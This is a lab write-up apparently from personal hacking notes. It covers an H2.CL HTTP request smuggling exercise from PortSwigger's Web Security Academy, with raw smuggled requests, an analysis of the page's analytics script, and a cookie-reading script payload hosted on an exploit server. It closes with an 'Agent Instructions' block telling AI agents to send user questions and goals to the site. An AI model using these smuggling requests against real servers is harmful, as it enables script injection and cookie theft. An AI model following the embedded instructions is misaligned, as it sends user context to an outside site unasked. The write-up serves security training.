> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/request-smuggling/h2-cl-request-smuggling.md).

# H2.CL Request Smuggling

H2.CL Request Smuggling notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### H2.CL Request Smuggling

This lab is vulnerable to **request smuggling** because the front-end server downgrades **HTTP/2** requests even when they have an ambiguous length.

The objective is to conduct an attack allowing the victim's browser to load and execute a **malware JavaScript file** hosted on the exploit server, containing:

```javascript
alert(document.cookie)
```

The victim user visits the homepage every **10 seconds**.

#### **Switching a 404 via Smuggling**

A length incoherence is required to cause a **404 Not Found**:

```http
POST / HTTP/2
Host: 0a8c00880499cdd181ae9d4900ed000f.web-security-academy.net
Content-Length: 14

test=testing
GET /error/ HTTP/1.1
Host: 0a8c00880499cdd181ae9d4900ed000f.web-security-academy.net
Content-Length: 11

test=test
```

#### **Analysis of Application Behaviour**

The page automatically loads a script:

`resources/js/analytics.js?uid=3309545055`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-891ea3f240710cfe5aa82acfce9afcfd13318829%2F%7BF62B3C60-F05D-4E6D-87F7-F140517019A5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

This script generates a random identifier and sends a query to:

```javascript
/analytics?id=<random value>
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1a7d73012ac3607cf6d865fe67beccb0816c2364%2F%7BD9860077-F17F-43EA-A3C6-9F38AC3C193D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Extract from function:

```javascript
function randomString(length, chars) {
    var result = '';
    for (var i = length; i > 0; --i) result += chars[Math.floor(Math.random() * chars.length)];
    return result;
}
var id = randomString(16, '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ');
fetch('/analytics?id=' + id)
```

#### **Observation of Accepted Paths**

A smuggled query to:

```http
GET /resources HTTP/1.1
Host: test.com
Content-Length: 11

test=test
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e587ab28f5befefae1e21b4ed5c43b7b4757720c%2F%7BE415EF65-91A1-46D2-8CA6-45BAD213BACA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

is accepted.

On the other hand, other paths are not.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-83720fb669762d685b9d5dd6dd3faa4e4a202ea9%2F%7BBE9B35B3-50E4-40C7-B98B-9AB38093AD5E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Malicious Script Injection**

We place our payload in the file provided by the exploit server:

* file name: **resources**
* body content:

```javascript
<script>alert(document.cookie)</script>
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c49dc90301826db9d92bb4a758c1778b4c5d6a9d%2F%7BD8286DCB-E2EE-4DD9-B016-FA707D66A69D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

The victim is redirected to this file, and the browser executes the alert, confirming the exploitation.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-007655840ce8f240b6730b13dbb167711acb9a0a%2F%7BBF87F632-9D21-4148-8EF4-51A8CF572AE1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/web/request-smuggling/h2-cl-request-smuggling.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
